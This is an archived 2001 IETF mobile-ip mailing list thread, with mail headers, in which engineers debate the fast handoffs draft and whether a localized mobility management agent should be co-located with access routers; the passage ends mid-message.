	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fASGonf8013084
	for mobile-ip-dist; Wed, 28 Nov 2001 08:50:49 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fASGok1V013077
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 28 Nov 2001 08:50:46 -0800 (PST)
Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA20625
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 28 Nov 2001 08:50:48 -0800 (PST)
Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.24.11])
	by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA06994
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 28 Nov 2001 08:50:47 -0800 (PST)
Received: from mira-sjcm-3.cisco.com (mira-sjcm-3.cisco.com [171.69.24.15])
	by sj-msg-core-2.cisco.com (8.11.3/8.9.1) with ESMTP id fASGolD09781
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 28 Nov 2001 08:50:47 -0800 (PST)
Received: from gdommety-w2k9.cisco.com (sjc-vpn2-532.cisco.com [10.21.114.20])
	by mira-sjcm-3.cisco.com (Mirapoint)
	with ESMTP id ACR67060;
	Wed, 28 Nov 2001 08:42:12 -0800 (PST)
Message-Id: <4.3.2.7.2.20011128085112.02844238@mira-sjcm-3.cisco.com>
X-Sender: gdommety@mira-sjcm-3.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Wed, 28 Nov 2001 08:55:18 -0800
To: mobile-ip@sunroof.eng.sun.com, mobile-ip@sunroof.eng.sun.com
From: Gopal Dommety <gdommety@cisco.com>
Subject: Re: [mobile-ip] fast handoffs v3 draft
In-Reply-To: <3C04E4D5.74FF28C6@cs.ucl.ac.uk>
References: <3C04DEE6.5831C3D0@cs.ucl.ac.uk>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

Theo,

This version has BETH integrated into it and also renames the earlier method.

We would definetly welcome any contributions that enhance Fast Handoffs.

Thanks
Gopal


At 01:21 PM 11/28/2001 +0000, Theo Pagtzis wrote:
>Hi all,
>
>Having seen the latest version of the fast handoffs draft, I see that
>the protocol leans now towards predictive handoffs that was not the case
>for the previous 2 versions)  which I am already addressing in my
>proactive mobility proposal:
>
>http://search.ietf.org/internet-drafts/draft-pagtzis-seamoby-proactivev6-00.txt
>with schematics that
>
>can be found in
>
>http://www.cs.ucl.ac.uk/staff/t.pagtzis/papers/draft-pagtzis-mobileip-proactivev6-00.ps
>or
>http://www.cs.ucl.ac.uk/staff/t.pagtzis/papers/techRep20010103.ps.gz
>
>I believe I could contribute to the fast handoffs draft by augmenting it
>with existing text from my proposal with respect addressing state
>preconfiguration as well as other issues that I would be addressing
>otherwise in my updated version. Would such contribution be encouraged
>by the authors of the fast handoff draft?
>
>
>Theo
>UCL/Mobile Systems
>
>PS. BTW the argument that my proposal was very long is not really an
>excuse for not returning comments since as I can see other proposals
>much longer and complicated. Additionaly, I can 'see' that people have
>read the proposal. That means that any comments would be welcomed.



From owner-mobile-ip@sunroof.eng.sun.com  Wed Nov 28 12:00:01 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA21281
	for <mobileip-archive@odin.ietf.org>; Wed, 28 Nov 2001 12:00:01 -0500 (EST)
Received: from engmail4.Eng.Sun.COM ([129.144.134.6])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id JAA20023;
	Wed, 28 Nov 2001 09:58:45 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA22295;
	Wed, 28 Nov 2001 08:58:45 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fASGvx1V013240
	for <mobile-ip-dist@sunroof.eng.sun.com>; Wed, 28 Nov 2001 08:57:59 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fASGvxPr013239
	for mobile-ip-dist; Wed, 28 Nov 2001 08:57:59 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fASGvt1V013232
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 28 Nov 2001 08:57:55 -0800 (PST)
Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA02703
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 28 Nov 2001 08:57:57 -0800 (PST)
Received: from sj-msg-core-4.cisco.com (sj-msg-core-4.cisco.com [171.71.163.10])
	by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id JAA06163
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 28 Nov 2001 09:57:57 -0700 (MST)
Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27])
	by sj-msg-core-4.cisco.com (8.11.3/8.9.1) with ESMTP id fASGvud04154
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 28 Nov 2001 08:57:56 -0800 (PST)
Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53])
	by mira-sjc5-7.cisco.com (Mirapoint)
	with ESMTP id AAK24355;
	Wed, 28 Nov 2001 08:57:20 -0800 (PST)
Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id IAA26617; Wed, 28 Nov 2001 08:57:55 -0800 (PST)
From: Michael Thomas <mat@cisco.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <15365.6035.226465.80788@thomasm-u1.cisco.com>
Date: Wed, 28 Nov 2001 08:57:55 -0800 (PST)
To: mobile-ip@sunroof.eng.sun.com
Subject: Re: [mobile-ip] LMM for IPv6 requirements-Movement detection
In-Reply-To: <3C049E10.3BCEFBB4@cs.ucl.ac.uk>
References: <AF2378CBE7016247BC0FD5261F1EEB2109CED8@EXCHANGE01.domain.ecutel.com>
	<3BFC3CCA.8750CDB1@cs.ucl.ac.uk>
	<3BFC45D1.A8AEFE9A@iprg.nokia.com>
	<15356.18648.291849.518694@thomasm-u1.cisco.com>
	<3BFC4D16.AD4707AA@cs.ucl.ac.uk>
	<3BFC58DF.26C6BF80@iprg.nokia.com>
	<3BFC5C48.ED2BCA05@cs.ucl.ac.uk>
	<15364.1118.275867.497327@thomasm-u1.cisco.com>
	<3C049E10.3BCEFBB4@cs.ucl.ac.uk>
X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid
X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4m<D]vnFJ>u!4x[/Z4t{V}~L]+Sk
 @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd
 bUcI'1!
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

Theo Pagtzis writes:
 > I believe that if you place the LMM agent anywhere else than the AR you
 > will eventually have suboptimal routing since it will need to go to
 > 
 >   that AR ------> LMM -----> that AR ------> MN
 > 
 > whereas you can have it
 > 
 >   to AR/LMM ----> MN

   Sure, I didn't claim that it would be least cost.
   In fact, I asked whether the tradeoff of least cost
   vs. severability should be toward least cost. At least
   in the case where the "fast" tunnel is temporary.
   Read on...

 > Also how can a handoff be fast and also have suboptimal routing in
 > effect. It looks to me as if you are spinning your wheels to go away
 > from inertia...ie run fast for a handoff but run so fast to make it up
 > for the suboptimal route...I am not convinced that it sounds plausible
 > unless of course you have a commercial scenario in mind that I haven't
 > heard of yet..

   Fast, of course, is in the eye of the beholder. The
   transit times through the core of the network these
   days are primarily due to speed of light considerations
   if you don't experience congestion. Thus, it's not 
   inconceivable that you could place your LMM geographically
   and topologically "distant" and still meet the real time
   goals of your handoff. 

   For example, I just ran a traceroute between my home 
   machine in San Francisco, and Cisco's SSH server in 
   San Jose, the first hop cost was about 13ms, but the
   rest of the trip through 9 routers (!) was about 3ms.
   Thus, if my LMM were, say, at the edge of Cisco's
   network rather than at the first hop router, I'd be
   saving 3ms out of 16 total, perhaps less depending
   on the actual source/destination. For voice traffic,
   an additional 3ms of jitter is pretty much noise
   (doubly true for wireless). To my mind, this
   says that actual location of the LMM needs to
   be close to the MN, but not "as close as
   possible". Thus it seems that colocation while
   potentially simplifying the requirements, isn't
   based on any need for "fastness". Given the 
   potential benefit of splitting the
   functionality for AR's which will not/cannot
   do LMM, I think we ought to consider that
   scenario.

		Mike


From owner-mobile-ip@sunroof.eng.sun.com  Wed Nov 28 12:28:51 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA23589
	for <mobileip-archive@odin.ietf.org>; Wed, 28 Nov 2001 12:28:51 -0500 (EST)
Received: from engmail4.Eng.Sun.COM ([129.144.134.6])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id JAA13351;
	Wed, 28 Nov 2001 09:27:09 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA29088;
	Wed, 28 Nov 2001 09:26:56 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fASHPs1V013429
	for <mobile-ip-dist@sunroof.eng.sun.com>; Wed, 28 Nov 2001 09:25:54 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fASHPssD013428
	for mobile-ip-dist; Wed, 28 Nov 2001 09:25:54 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fASHPp1V013421
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 28 Nov 2001 09:25:51 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA16597
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 28 Nov 2001 09:25:53 -0800 (PST)
Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31])
	by patan.sun.com (8.9.3+Sun/8.9.3) with SMTP id KAA12535
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 28 Nov 2001 10:25:34 -0700 (MST)
Received: from bohemian.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.19317-0@bells.cs.ucl.ac.uk>; Wed, 28 Nov 2001 17:25:48 +0000
Message-ID: <3C051E1B.BF20675F@cs.ucl.ac.uk>
Date: Wed, 28 Nov 2001 17:25:47 +0000
From: Theo Pagtzis <t.pagtzis@cs.ucl.ac.uk>
Organization: UCL/Mobile Systems Group
X-Mailer: Mozilla 4.76 [en] (X11; U; FreeBSD 4.1-STABLE i386)
X-Accept-Language: el, en
MIME-Version: 1.0
To: mobile-ip@sunroof.eng.sun.com
Subject: Re: [mobile-ip] LMM for IPv6 requirements-Movement detection
References: <4DA6EA82906FD511BE2F00508BCF053801C4C0C9@Esealnt861.al.sw.ericsson.se>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

Hi Hesham,


another misinterpretation largely due to misuse of the term on my part.
What I mean is that you assume the LMM to be co-located with a router,
in this case seems to be more accurate to say Access Network Router
(ANR).

What I was trying to say is that Mike suggested not co-locating the LMM
with a router but behind one if I understood correctly. I felt that
looked sub-optimal. That's all.

Other than that we are in agreement.

Cheers

Theo
UCL/Mobile Systems


 but on my side this one though..When I


"Hesham Soliman (ERA)" wrote:
> 
> Theo,
> 
>   > Perhaps I did not explain clearly.
>   >
>   > In your schematic you assume that the LMM is in fact an AR!
>   > This is fine
>   > but not what Mike had in mind. Mike talked about _not_
>   > co-locating the
> 
> => I didn't think it looked like an AR at all. Here it
> is again with more explanation:
> 
>                     CN
>                      |
>                      |     Domain A
>                     AR
>                      |
>                     some routers (Backbone)
> 
>                      |
>                      |      Domain B
>                      LMM
>                       |  ----------+
>                       |            |
>                      AR1           |
>                       |            AR2
>                      MN
> 
> As you can see the LMM is clearly separated from the 2
> ARs. It is also 'on the way' to either AR. So any
> packet addressed to the MN would traverse it
> anyway. _In_this_topology_ .
> 
> If I was building a network I would want to make sure
> that the LMM agent is on the 'aggregate router' level
> rather than the AR.
> 
>   > LMM with an AR. However, an LMM has to be behind a link if not an AR
>   > itself. Thus, the LMM in such case MUST be behind some AR.
>   > The schematic
>   > becomes:
>   >
>   >
>   >
>   >             CN
>   >              |
>   >              |
>   >              AR
>   >               |
>   >               .
>   >               .
>   >               .
>   >             Internet
>   >               .
>   >               .      1
>   >               |      ->
>   >    (domain)   ARb --------           <-------- decoupling
>   > of AR and LMM
>   > such that LMM is behind
>   >       |       |    <-    | | 2                 that AR (since not
>   > co-located)
>   >       |       |     3   ^| v                   Routing suboptimality
>   > goes for steps 1,2 and 3
>   >       |       .          |                     as packets have to go
>   > through that path
>   >       v       .         LMM                    since they
>   > are forwarded
>   > by the LMM to the MN !
>   >               .
>   >               |
>   >               AR
>   >               |
>   >               |
>   >               MN
>   >
>   >
>   > Now take ARb and augment it to be ARb/LMM in one single
>   > box. At the same
>   > time get rid of the individual LMM box; thus you get rid of 1,2,3.
>   > Wouldn't that reason for colocation offering optimality in
>   > the routing
>   > of packets sent by the LMM to the MN?
> 
> => You've assumed a certain architecture and based on
> that assumption you're showing that placing the LMM
> agent outside the AR does not work ! You're assuming
> that traffic will arive at ARb first.
> So the point is, suboptimality will depend on:
> 
> - Where the CN is ? inside the same domain or a different one ?
> - Network topology
> - Placement of the LMM in the network.
> 
> None of the above implies that one way is ALWAYS better.
> I can show you several pictures with two ARs that
> are topologically 'far' as I said in the previous mail.
> 
> Hesham
> 
>   >
>   >
>   > Theo
>   > UCL/Mobile Systems Group
>   >
>   >
>   > "Hesham Soliman (ERA)" wrote:
>   > >
>   > >   >
>   > >   > I believe that if you place the LMM agent anywhere else
>   > >   > than the AR you
>   > >   > will eventually have suboptimal routing since it will
>   > need to go to
>   > >   >
>   > >   >   that AR ------> LMM -----> that AR ------> MN
>   > >   >
>   > >
>   > > => I don't really get that logic, it greatly depends on
>   > > where the CN is and the network topology.
>   > >
>   > > E.g :
>   > >
>   > >                     CN
>   > >                      |
>   > >                      |
>   > >                     AR
>   > >                      |
>   > >                     some routers
>   > >
>   > >                      |
>   > >                      |
>   > >                      LMM
>   > >                       |
>   > >                       |
>   > >                      AR
>   > >                       |
>   > >                      MN
>   > >
>   > > Where is the suboptimality here ? The packets
>   > > will traverse the LMM router anyway to get
>   > > to the AR.
>   > >
>   > > You can play around with the topology to get
>   > > one that will add one hop or maybe two, to the
>   > > "optimal route" but I don't think that is a major
>   > > concern. You can also add 10 hops to the optimal
>   > > route but that would be strange network design
>   > > for someone trying to use an LMM agent.
>   > >
>   > > Similarily I can make the LMM in the AR look like
>   > > a very suboptimal solution if the two ARs
>   > > (between which the MN is moving) are not physically
>   > > connected and are topologically 'far'.
>   > >
>   > > So it's not as simple as saying that the LMM
>   > > in the AR is more optimal. Operators will have
>   > > to be careful how they place these agents. This
>   > > will largely depend on their type of access network,
>   > > mobility patterns ...etc.
>   > >
>   > > Hesham
>   >


From owner-mobile-ip@sunroof.eng.sun.com  Wed Nov 28 12:41:54 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA24552
	for <mobileip-archive@odin.ietf.org>; Wed, 28 Nov 2001 12:41:54 -0500 (EST)
Received: from engmail4.Eng.Sun.COM ([129.144.134.6])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id JAA20714;
	Wed, 28 Nov 2001 09:40:55 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA02244;
	Wed, 28 Nov 2001 09:40:22 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fASHdJ1V013566
	for <mobile-ip-dist@sunroof.eng.sun.com>; Wed, 28 Nov 2001 09:39:19 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fASHdJqs013565
	for mobile-ip-dist; Wed, 28 Nov 2001 09:39:19 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fASHdG1V013558
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 28 Nov 2001 09:39:16 -0800 (PST)
Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA01865
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 28 Nov 2001 09:39:18 -0800 (PST)
Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.24.11])
	by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA21076
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 28 Nov 2001 10:39:17 -0700 (MST)
Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27])
	by sj-msg-core-2.cisco.com (8.11.3/8.9.1) with ESMTP id fASHdHD22893
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 28 Nov 2001 09:39:17 -0800 (PST)
Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53])
	by mira-sjc5-7.cisco.com (Mirapoint)
	with ESMTP id AAK25277;
	Wed, 28 Nov 2001 09:38:41 -0800 (PST)
Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id JAA26642; Wed, 28 Nov 2001 09:39:16 -0800 (PST)
From: Michael Thomas <mat@cisco.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <15365.8515.920398.215029@thomasm-u1.cisco.com>
Date: Wed, 28 Nov 2001 09:39:15 -0800 (PST)
To: mobile-ip@sunroof.eng.sun.com
Subject: [mobile-ip] LMM discovery
In-Reply-To: <4DA6EA82906FD511BE2F00508BCF053801C4C0C4@Esealnt861.al.sw.ericsson.se>
References: <4DA6EA82906FD511BE2F00508BCF053801C4C0C4@Esealnt861.al.sw.ericsson.se>
X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid
X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4m<D]vnFJ>u!4x[/Z4t{V}~L]+Sk
 @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd
 bUcI'1!
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

It seems that there is some amount of expectation
that colocating LMM's at the last AR will produce
a least cost routing solution, as well as be
easier to locate. As Hesham points out, it won't
necessarily be least cost, and as I pointed out,
even if it were, it's not very clear that it needs
to be least cost.

Therefore, the more interesting question is
actually the discovery question. In isolation, I
think it may be easy to handwave this away and
keep it simple, but as I pointed out earlier, this
is explicitly at the expense of not being able to
split the functionality up, which may not be a
good thing. 

That said, I don't get the sense that discovery
based on a MN's current location is unique to LMM
discovery. In fact, it seems pretty much the same
sort of problem as AR discovery when there's
multiple choices, in multiple realms, etc. It may
also be a factor with context transfer if the CT
peer isn't the first hop away from the MN. More
interestingly, I think that there's a generic
desire to be able locate content and services
which are replicated based on current location
and/or topology. 

Thus, I guess I question whether this WG really
needs to take on this work, even if we decide to
allow LMM's to be place somewhere other than the
first hop. It seems that there are a number of
ways that you could build a workable service in
the mean time from as simple as assuming that it's
colocated with the AR, to sending an HTTP request
to a web server which spews some XML at you with a
list of candidates, etc.

	Mike


From owner-mobile-ip@sunroof.eng.sun.com  Wed Nov 28 12:50:18 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA25219
	for <mobileip-archive@odin.ietf.org>; Wed, 28 Nov 2001 12:50:17 -0500 (EST)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA01153;
	Wed, 28 Nov 2001 10:47:33 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA09266;
	Wed, 28 Nov 2001 09:47:39 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fASHke1V013703
	for <mobile-ip-dist@sunroof.eng.sun.com>; Wed, 28 Nov 2001 09:46:40 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fASHkeRL013702
	for mobile-ip-dist; Wed, 28 Nov 2001 09:46:40 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fASHka1V013695
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 28 Nov 2001 09:46:36 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA22808
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 28 Nov 2001 09:46:39 -0800 (PST)
Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31])
	by patan.sun.com (8.9.3+Sun/8.9.3) with SMTP id KAA00015
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 28 Nov 2001 10:46:20 -0700 (MST)
Received: from bohemian.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.21105-0@bells.cs.ucl.ac.uk>; Wed, 28 Nov 2001 17:46:24 +0000
Message-ID: <3C0522EF.BDBB0977@cs.ucl.ac.uk>
Date: Wed, 28 Nov 2001 17:46:23 +0000
From: Theo Pagtzis <t.pagtzis@cs.ucl.ac.uk>
Organization: UCL/Mobile Systems Group
X-Mailer: Mozilla 4.76 [en] (X11; U; FreeBSD 4.1-STABLE i386)
X-Accept-Language: el, en
MIME-Version: 1.0
To: mobile-ip@sunroof.eng.sun.com
Subject: Re: [mobile-ip] LMM for IPv6 requirements-Movement detection
References: <AF2378CBE7016247BC0FD5261F1EEB2109CED8@EXCHANGE01.domain.ecutel.com> <3BFC3CCA.8750CDB1@cs.ucl.ac.uk> <3BFC45D1.A8AEFE9A@iprg.nokia.com> <15356.18648.291849.518694@thomasm-u1.cisco.com> <3BFC4D16.AD4707AA@cs.ucl.ac.uk> <3BFC58DF.26C6BF80@iprg.nokia.com> <3BFC5C48.ED2BCA05@cs.ucl.ac.uk> <15364.1118.275867.497327@thomasm-u1.cisco.com> <3C049E10.3BCEFBB4@cs.ucl.ac.uk> <15365.6035.226465.80788@thomasm-u1.cisco.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

Hi Mike,

Michael Thomas wrote:
> 
> Theo Pagtzis writes:
>  > I believe that if you place the LMM agent anywhere else than the AR you
>  > will eventually have suboptimal routing since it will need to go to
>  >
>  >   that AR ------> LMM -----> that AR ------> MN
>  >
>  > whereas you can have it
>  >
>  >   to AR/LMM ----> MN
> 
>    Sure, I didn't claim that it would be least cost.
>    In fact, I asked whether the tradeoff of least cost
>    vs. severability should be toward least cost. At least
>    in the case where the "fast" tunnel is temporary.
>    Read on...



> 
>  > Also how can a handoff be fast and also have suboptimal routing in
>  > effect. It looks to me as if you are spinning your wheels to go away
>  > from inertia...ie run fast for a handoff but run so fast to make it up
>  > for the suboptimal route...I am not convinced that it sounds plausible
>  > unless of course you have a commercial scenario in mind that I haven't
>  > heard of yet..
> 
>    Fast, of course, is in the eye of the beholder. The
>    transit times through the core of the network these
>    days are primarily due to speed of light considerations
>    if you don't experience congestion. Thus, it's not
>    inconceivable that you could place your LMM geographically
>    and topologically "distant" and still meet the real time
>    goals of your handoff.

unless other types of latency hit you that are beyond congestion...yup I
agree with that..
> 
>    For example, I just ran a traceroute between my home
>    machine in San Francisco, and Cisco's SSH server in
>    San Jose, the first hop cost was about 13ms, but the
>    rest of the trip through 9 routers (!) was about 3ms.
>    Thus, if my LMM were, say, at the edge of Cisco's
>    network rather than at the first hop router, I'd be
>    saving 3ms out of 16 total, perhaps less depending
>    on the actual source/destination. For voice traffic,
>    an additional 3ms of jitter is pretty much noise
>    (doubly true for wireless). To my mind, this
>    says that actual location of the LMM needs to
>    be close to the MN, but not "as close as
>    possible". Thus it seems that colocation while
>    potentially simplifying the requirements, isn't
>    based on any need for "fastness". Given the
>    potential benefit of splitting the
>    functionality for AR's which will not/cannot
>    do LMM, I think we ought to consider that
>    scenario.

I think we agree on that..I don't want to bring an LMM so close to the
MN such that it can touch it by breathing...far from it..I agree with
you..you need to give some slack to the MN to move around..it is exactly
like the leash on a dog...if you have the leash too tight you have
control of the dog but you do strangle him (litteraly :) in terms of
movement..

however..if you give some slack to the leash, the dog can only move
around a certain locality...

but..wait a sec. Perhaps we are arguing about a point we were agreeing
in the first place. What I had in mind is that the LMM needs to be
co-located with a AR, but in fact I meant a border router (perhaps ANR
sounds better). Beyond that if you don't have that many border routers
at the edges of your domain, I would be in favour to co-locate the LMM
